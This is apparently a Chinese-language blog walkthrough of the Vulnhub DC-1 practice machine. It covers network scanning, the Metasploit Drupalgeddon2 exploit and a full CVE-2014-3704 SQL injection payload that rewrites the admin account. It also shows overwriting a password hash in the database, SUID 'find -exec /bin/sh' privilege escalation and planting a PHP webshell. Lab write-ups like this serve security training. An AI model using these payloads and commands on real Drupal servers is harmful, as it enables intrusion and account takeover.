Vulnhub[DC1]

简介

image-20220610145544679

下载

流程

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220610193843240

经过筛选可以知道192.168.0.150 是DC-1的ip

端口扫描

nmap  -p- 192.168.0.150 

image-20220610193725650

可以这里开启了22、80、111端口

我们先从80端口入手

image-20220610194026402

这里可以发现用的是DrupalCMS

渗透

Flag1

启动msf,搜索下Drupal可用的EXP

search Drupal

image-20220610200148643

这里我们选用exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.0.150
show options

image-20220610204625788

run

image-20220610204705275

这样我们就可以成功得到一个会话。

我们用会话返回一个shell

image-20220610204746157

查看目录,获取flag1

image-20220610204820101

Every good CMS needs a config file - and so do you.

翻译:每个好的 CMS 都需要一个配置文件——你也一样。

这里也就是提示说去查看DrupalCMS的配置文件

Flag2

DrupalCMS的默认配置文件为 /var/www/sites/default/settings.php

image-20220610205323892

这里我们获得数据库的账号dbuser和密码R0ck3t

  • flag2
  • Brute force and dictionary attacks aren't the
  • only ways to gain access (and you WILL need access).
  • What can you do with these credentials?

翻译:

  • 蛮力和字典攻击不是
  • 获得访问权限的唯一方法(您将需要访问权限)。
  • 您可以使用这些凭据做什么?

Flag3

这里我们直接连接mysql之后shell会没有反应的

这里我们需要用python转换成标准的shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20220610210110558

连接mysql

image-20220610210225725

常规的mysql查询

image-20220610210444083

image-20220610210512242

这里的密码是经过drupal加密

在scripts的文件夹中有用来算密码的脚本
但是因为靶机的环境原因会报错

image-20220610211346668

但是可以查到

明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

直接update更新admin密码

update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';

然后进行登录

image-20220610211727232

经过查看可以发现Flag3

image-20220610211834805

image-20220610211845104

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

翻译:特殊权限将有助于查找密码 - 但您需要 -exec 该命令才能确定如何获取阴影中的内容。

这里提示我们提示用find -exec,想到用suid提权

Flag4

使用find / -name flag*.txt命令,直接来查找flag文件,获取到flag4

image-20220610212236928

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

翻译:

您可以使用相同的方法在 root 中查找或访问标志吗?
大概。但也许这并不容易。或者也许是?

提权

使用find找下具有root权限的suid

find / -perm -u=s -type f 2>/dev/null

image-20220610212506446

可以看到find是可以用来提权的

我们尝试用find执行命令

# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
find / -name flag4 -exec "whoami" \;

image-20220610212827099

可以发现这使用的root用户权限

那么我们接下来用find提权

find / -name flag4 -exec "/bin/sh" \;

image-20220610213016338

这里可以发现已经是root用户了

image-20220610213214076

这算是预期解了,按照顺序下来的

非预期解

首先用nmap -A --script=vuln 192.168.0.150扫描靶机

开放了80和22端口,并且存在cve-2014-3704

image-20220610214457129

漏洞利用

image-20220610214659869

cve-2014-3704这个漏洞是sql注入,能直接数据库添加用户名和密码
payload

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'root'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a

将上述payload贴进来,发包后,将会创建一个用户名为:root 密码:thanks的账户

image-20220610220213044

成功用新用户登录进去

然后同样的可以找到flag3

flag3提示用find -exec,想到用suid提权

来到modules,开启php filter

image-20220610221813040

新建articel文章,并写入php一句话木马,底下的text format换成PHP code

image-20220610222041396

文章成功发布后,使用蚁剑连接

然后的流程和预期解差不多

也可以根据提示直接提权

posted @ 2022-06-11 20:58  Townmacro  阅读(78)  评论(0编辑  收藏  举报